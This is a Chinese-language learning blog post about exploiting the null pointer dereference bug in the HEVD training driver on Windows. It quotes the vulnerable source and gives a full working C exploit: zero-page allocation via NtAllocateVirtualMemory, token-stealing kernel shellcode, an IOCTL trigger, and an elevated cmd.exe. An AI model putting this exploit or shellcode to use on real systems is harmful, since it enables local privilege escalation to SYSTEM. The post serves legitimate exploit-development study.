在看雪论坛看到许多关于HEVD的Windows内核漏洞教程,其中有一个是翻译国外的一个系列,感觉讲的很好,接下来就会跟着他将这个HEVD系列的漏洞走一遍了。昨天学了栈溢出,其实以前就学过,只不过没有操作过内核态的,今天继续学习空指针解引用,也是比较简单的漏洞,方便入门。
首先看漏洞程序源码
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;
PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
PAGED_CODE();
__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)__alignof(NULL_POINTER_DEREFERENCE));
// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
ExAllocatePoolWithTag(NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG);
if (!NullPointerDereference) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
}
// Get the value from user mode
UserValue = *(PULONG)UserBuffer;
DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
// Validate the magic value
if (UserValue == MagicValue) {
NullPointerDereference->Value = UserValue;
NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
}
else {
DbgPrint("[+] Freeing NullPointerDereference Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
}
#ifdef SECURE
// Secure Note: This is secure because the developer is checking if
// 'NullPointerDereference' is not NULL before calling the callback function
if (NullPointerDereference) {
NullPointerDereference->Callback();
}
#else
DbgPrint("[+] Triggering Null Pointer Dereference\n");
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
NullPointerDereference->Callback();
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
通过安全版和不安全版本的代码对比即可知道,安全版本在检验指针不为空的情况下再去调用 Callback回调函数,而不安全版本则不进行检查。阅读程序的流程:首先检验用户输入的数据是否等于一个魔数,如果检验通过则对 NullPointerDereference 的回调函数和值进行设置,如果不通过则将 NullPointerDereference 设置为NULL。在最后,即使指针为空也仍然去调用它的回调函数,这显然是不行,的当一个指针的值为空时,却被调用指向某一块内存地址时,就产生了空指针引用漏洞。
通过在IDA里进行标注分析:当指针为空时,会call [4],所以当下所需要做的事就是传入一个不匹配的魔数,并在0x00000004分配一个双字地址。
一开始可能会想,地址那么低怎么把Shellcode放到0x00000004的地址呢?Windows允许低权限用户去映射用户进程的上下文到0页。虽然我们使用 VirutalAlloc和VirtualAllocEx 在申请基地址低于0x00001000时候都会被拒绝访问,但是我们可以使用NtAllocateVirtualMemory来完成这个操作。
BaseAddress
期望内存基址指针。
当该值非零时,系统将计算此值的页对齐地址,尝试按照此地址申请内存块。
当该值等于零时,系统将寻找第一个未使用内存块。
当函数调用成功时,此参数亦将接收实际基址。
首先申请到0页内存
PVOID BaseAddress= (PVOID)1;
SIZE_T RegionSize = 0x1000;
/* 这里对第二个参数进行解释
BaseAddress
期望内存基址指针。
当该值非零时,系统将计算此值的页对齐地址,尝试按照此地址申请内存块。
当该值等于零时,系统将寻找第一个未使用内存块。
当函数调用成功时,此参数亦将接收实际基址。 */
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&BaseAddress,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return 0;
}
printf("[+]Success to alloc zero page...\n");
printf("申请到的地址是 0x%p\n", BaseAddress);
*(DWORD*)(0x4) = (DWORD)& ShellCode;
可以看到成功申请到了0内存,所以接下来只需要将Shellcode存放在该地址即可。
#include
#include
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define Null_Pointer_Dereference 0x22202b
HANDLE hDevice = NULL;
typedef NTSTATUS
(WINAPI* My_NtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);
My_NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
static VOID ShellCode()
{
_asm
{
//int 3
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
static VOID CreateCmd()
{
STARTUPINFO si = {
sizeof(si) };
PROCESS_INFORMATION pi = {
0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = {
L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = {
0 };
*(PDWORD32)(buf) = 0xBAD0B0B0+1;//测试申请到的地址时不加一即可
*(FARPROC*)&NtAllocateVirtualMemory = GetProcAddress(
GetModuleHandleW(L"ntdll"),
"NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == NULL)
{
printf("[+]Failed to get function NtAllocateVirtualMemory!!!\n");
system("pause");
return ;
}
PVOID Zero_addr = (PVOID)1;
SIZE_T RegionSize = 0x1000;
printf("[+]Started to alloc zero page...\n");
if (!NT_SUCCESS(NtAllocateVirtualMemory(
INVALID_HANDLE_VALUE,
&Zero_addr,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE)) || Zero_addr != NULL)
{
printf("[+]Failed to alloc zero page!\n");
system("pause");
return ;
}
printf("[+]Success to alloc zero page...\n");
printf("申请到的地址是 0x%p\n", Zero_addr);
*(DWORD*)(0x4) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, Null_Pointer_Dereference, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
//__debugbreak();
printf("[+]Start to Create cmd...\n");
CreateCmd();
system("pause");
return 0;
}
利用成功
继续学习内核漏洞利用